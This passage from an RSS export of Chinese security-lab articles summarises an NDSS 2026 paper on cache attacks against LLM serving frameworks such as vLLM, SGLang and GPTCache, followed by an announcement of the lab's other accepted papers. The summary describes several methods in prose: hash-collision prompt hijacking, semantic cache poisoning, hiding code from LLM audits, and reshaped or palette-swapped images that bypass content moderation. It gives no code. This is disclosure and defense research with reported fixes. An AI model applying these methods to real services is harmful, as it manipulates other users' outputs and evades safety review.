bold;">Cache Me, Catch You：首个LLM缓存安全系统性研究</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">为了揭示这一风险，我们对主流LLM服务框架的缓存实现进行了全面的解构与分析，并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性，能够在不接触模型权重的情况下，通过污染共享缓存来操纵模型输出。</span></span></p><p nodeleaf=""><img data-imgfileid="100005288" class="rich_pages wxw-img" data-ratio="0.2777777777777778" data-type="png" data-w="1080" data-width="1264" data-height="351" src="https://wechat2rss.xlab.app/img-proxy/?k=b1402970&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjmmfzL8kjkpXpSWBLz4pNA4dcLgtSzvH5pRNCAOoicZsPnrENFOLlfLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong><span leaf="">主要发现与攻击向量：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们将发现的威胁归纳为两大类：一是面向用户的欺诈攻击，即攻击者利用系统渠道向用户传递恶意信息 ，具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ，以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ；二是系统完整性攻击，旨在破坏服务功能或绕过安全审查 ，具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ，以及利用图像处理忽略元数据（如尺寸）缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。</span></span></p><p><strong><span leaf="">细节详解：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">以多模态为例，其核心漏洞根源在于当前主流推理框架（如vLLM）在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言，vLLM默认调用PIL 的 </span></span><code><span leaf=""><span textstyle="" style="font-size: 16px;">tobytes()</span></span></code><span leaf=""><span textstyle="" style="font-size: 16px;"> 方法来提取图像数据以计算哈希，该方法虽然能获取原始像素字节流，但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击，通过重塑图像维度（例如将 H*W的图像变形为W*H）而不改变像素排列顺序，使得原本违规的图片变成一团毫无意义的噪点，从而生成与原图完全一致的哈希值。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">此外，攻击者还能利用“调色板模式”漏洞，构造出索引数据相同但颜色定义截然相反的图片对（如黑底白字与白底黑字），由于序列化过程仅读取索引而忽略调色板定义，这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。</span></span></p><p nodeleaf=""><img data-imgfileid="100005284" class="rich_pages wxw-img" data-ratio="0.8542024013722127" data-type="png" data-w="583" data-width="583" data-height="498" src="https://wechat2rss.xlab.app/img-proxy/?k=c9b29975&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSj3Q9WOLauluraGfU7hicGriaEnZV0NT8amLmW4OZM8SH7DUib29pk0FPQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">同样的隐患也出现在SGLang框架中，其为了适配张量数值范围将SHA256哈希值进行了取模截断，导致哈希空间被压缩至极易发生碰撞的范围。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘，实现看上去不同的图片但是hash一致。</span></span></p><p nodeleaf=""><img class="rich_pages wxw-img" data-height="451" data-imgfileid="100005286" data-ratio="0.7181528662420382" data-width="628" data-type="png" data-w="628" src="https://wechat2rss.xlab.app/img-proxy/?k=a06cc791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjpIpIcia8e82QeIRkPUgwqBCYxE02P1Lah3Z5lGeWVmkloMQEf1pcQvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="3"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">实验效果与影响评估</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测，证实了这些攻击路径的高可用性与低门槛：攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例，我们在30分钟内便成功搜索到碰撞哈希，实现了100%的缓存命中 。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图，成功命中图片之后会复用之前的图片预处理结果，导致生成了错误回复。</span></span></p><p nodeleaf=""><img data-imgfileid="100005289" class="rich_pages wxw-img" data-ratio="0.462992125984252" data-type="png" data-w="635" data-width="635" data-height="294" src="https://wechat2rss.xlab.app/img-proxy/?k=bb9f0c8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjhuACLegBGGuOOyibwVWx8IfbSick2OITnXL5UjxjAicVDSy6QZu3bKm1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="4"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">防御方案与行业响应</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">针对发现的漏洞，我们提出了五层防御策略，包括引入随机化哈希（Salting）、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明，上述的防御方案是可行的、有效的。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们在第一时间将发现的漏洞通报给了受影响的厂商和社区，包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy，并分配了 3个 CVE 编号。值得注意的是，vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施（如引入随机盐值、规范化图像序列化等）并完成了修复。（在本文发表时，SGLang也反馈采纳了我们的缓解措施。）</span></span></p><ol class="list-paddingleft-1" start="5"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">讨论与未来展望</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">我们的研究再次表明，高性能不应成为忽视底层系统安全的理由。本研究证明，即便模型本身无懈可击，外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石；特别是在云端共享算力场景下，必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作，本研究旨在推动社区正视这一隐蔽威胁，共同构建更稳健的大模型服务基础设施。</span></span></p><h3><span leaf=""><span textstyle="" style="font-size: 16px;">更多参考</span></span></h3><p><span leaf=""><span textstyle="" style="font-size: 16px;">想了解更多技术细节？欢迎阅读我们的学术论文或访问项目主页：</span></span></p><p><strong><span leaf="">代码仓库：</span></strong></p><p><span leaf=""><span textstyle="" style="font-size: 16px;"><a href="https://github.com/XingTuLab/Cache_Me_Catch_You" target="_blank">https://github.com/XingTuLab/Cache_Me_Catch_You</a></span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">感谢您的阅读，期待能为您的AI安全研究与工程实践带来启发！</span></span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5b746299&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488942%26idx%3D1%26sn%3Da2330e5a2984a23fb66bfde69c36d901">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Dec 2025 17:02:00 +0800</pubDate>
    </item>
    <item>
      <title>【喜报】4篇研究成果被国际顶级会议NDSS 2026录用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488931&amp;idx=1&amp;sn=964d6f6bf245bdbdd30d0ef520ac311d</link>
      <description>国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。</description>
      <content:encoded><![CDATA[<p><span></span> <span>2025-12-24 11:54</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=528f44d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeYdYGI8zPgZIbsFmaOS0amzxrP57CCoawIKiaL6SDgOcWtJ65EnQiaeew%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的4篇论文成功被录用。</p>
  <p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">近日，国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，<span textstyle="" style="font-weight: bold;">奇安信技术研究院合作完成的4篇论文成功被录用</span>。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用，充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。</span></p><p nodeleaf=""><img data-imgfileid="100005268" class="rich_pages wxw-img" data-ratio="0.25252525252525254" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=e75fa624&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVezmTOJ34xOaFALa4GKvibyRBicTEBFwGKzwDTic21EeV6jPPnofxzEBdAg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">LLM推理服务框架中的缓存安全问题</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作，论文题目为《</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks</span></strong><span leaf="">》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。</span></p><p nodeleaf=""><img data-imgfileid="100005270" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6b73f53b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVe1nfI41s5c3nse5u4kV8dGK8nCQlQqQLANr1rHZVliaeRc4dYvxL1rpg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这项工作揭示了上述机制中严重的安全隐患：攻击者可利用这些漏洞操纵模型输出，实施数据投毒，甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷，并提出了针对性的修复方案。目前，相关漏洞已被厂商确认并修复，因此获得了 3 个 CVE 漏洞编号，为提升 LLM 基础设施的安全性做出了实质性贡献。</span></p><p nodeleaf=""><img data-imgfileid="100005269" class="rich_pages wxw-img" data-ratio="0.4804270462633452" data-type="jpeg" data-w="562" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=bdfc11eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVebYIrSJNQoPJTsPzAMW4SovNaIRiajpaIiaKX8XHEpia4iaGM61nGewdNRQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">npm 生态漏洞传播影响分析</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">npm</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> Ecosystem》</span></strong><span leaf="">，作者为蒲应元（奇安信星图实验室）、应凌云（奇安信星图实验室）和谷雅聪（清华大学）。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法，结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。</span></p><p nodeleaf=""><img data-imgfileid="100005272" class="rich_pages wxw-img" data-ratio="0.4078282828282828" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=651cb96e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVerga7zZ5Ytqsnex0hOI5qlHPdSFsSRBzFcc3Z7zicxuLaMyXv28OPIgg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">npm作为全球最大的开源软件生态，其错综复杂的依赖关系使得漏洞极易在供应链中传播，给软件安全带来巨大隐患。现有的包级别软件成分分析（SCA）工具普遍存在严重的误报问题，无法区分漏洞代码是否真实被调用，同时现有的函数级分析工具在面对大规模生态时，往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题，我们设计开发了 VulTracer，一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析，多次复用”的模块化分析模式，通过对每一个 npm 包构建不可变的富语义图（RSG）、提取形式化接口以及按需组合合成技术，成功解决了大规模静态分析中的性能与精度挑战。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时，VulTracer基于全量npm生态（覆盖3400万个npm 包版本，超 9 亿条依赖关系）进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明，该工具在调用图构建上达到了0.905的F1分数（SOTA），相比</span><code style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">npm audit</span></code><span leaf="">降低了94%的误报率；同时研究结果进一步揭示，现有包级别分析工具产生的警报中 68.28% 均为“噪声”（即漏洞代码不可达），且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径，使安全修复工作能聚焦于真实存在的威胁。</span></p><p nodeleaf=""><img data-imgfileid="100005271" class="rich_pages wxw-img" data-ratio="0.5782828282828283" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=41bcd41d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVe4qkFzty3ciaNZG4BxxZa9DyxXhwJUfnPoGlmaymj8J27XhGIIXlEQfA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="167093" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div><div style="border-radius: 25px;background: linear-gradient(to right,#4050ef,#80b6ff);padding: 8px 25px;box-sizing:border-box;"><div style="display: flex;justify-content: center;align-items: center;"><div><p style="font-size: 16px;color: #ffffff;text-align: center;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 16px;">JavaScript脚本的自动化反混淆</span></span></strong></p></div></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》</span></strong><span leaf="">，这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。</span></p><p nodeleaf="" style="text-align: center;"><img data-imgfileid="100005273" class="rich_pages wxw-img" data-ratio="0.3904320987654321" data-type="jpeg" data-w="648" style="padding:0px;margin:auto;box-sizing:border-box;display:inline-block;max-width:100%;vertical-align:middle;width:511px;height:200px;border:rgba(0, 0, 0, 0);" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/lG0evzxL96mR253xzN6ySPPg7ia4QaKVerPtRGu8cwTtFLBnmJRDAXjZZY2YcNc3CgBLkDx0LvHfOb9NsgNzjSw/640?wx_fmt=jpeg&amp;from=appmsg" data-cropx2="648.0328719723184" data-cropy2="253.6332179930796" src="https://wechat2rss.xlab.app/img-proxy/?k=93558309&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96mR253xzN6ySPPg7ia4QaKVeFDgpr2mEsGKib9XwI8yMmTjriaG4Co5iaMpUlOBXCibZKicMgl0ia4JTIW5A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span 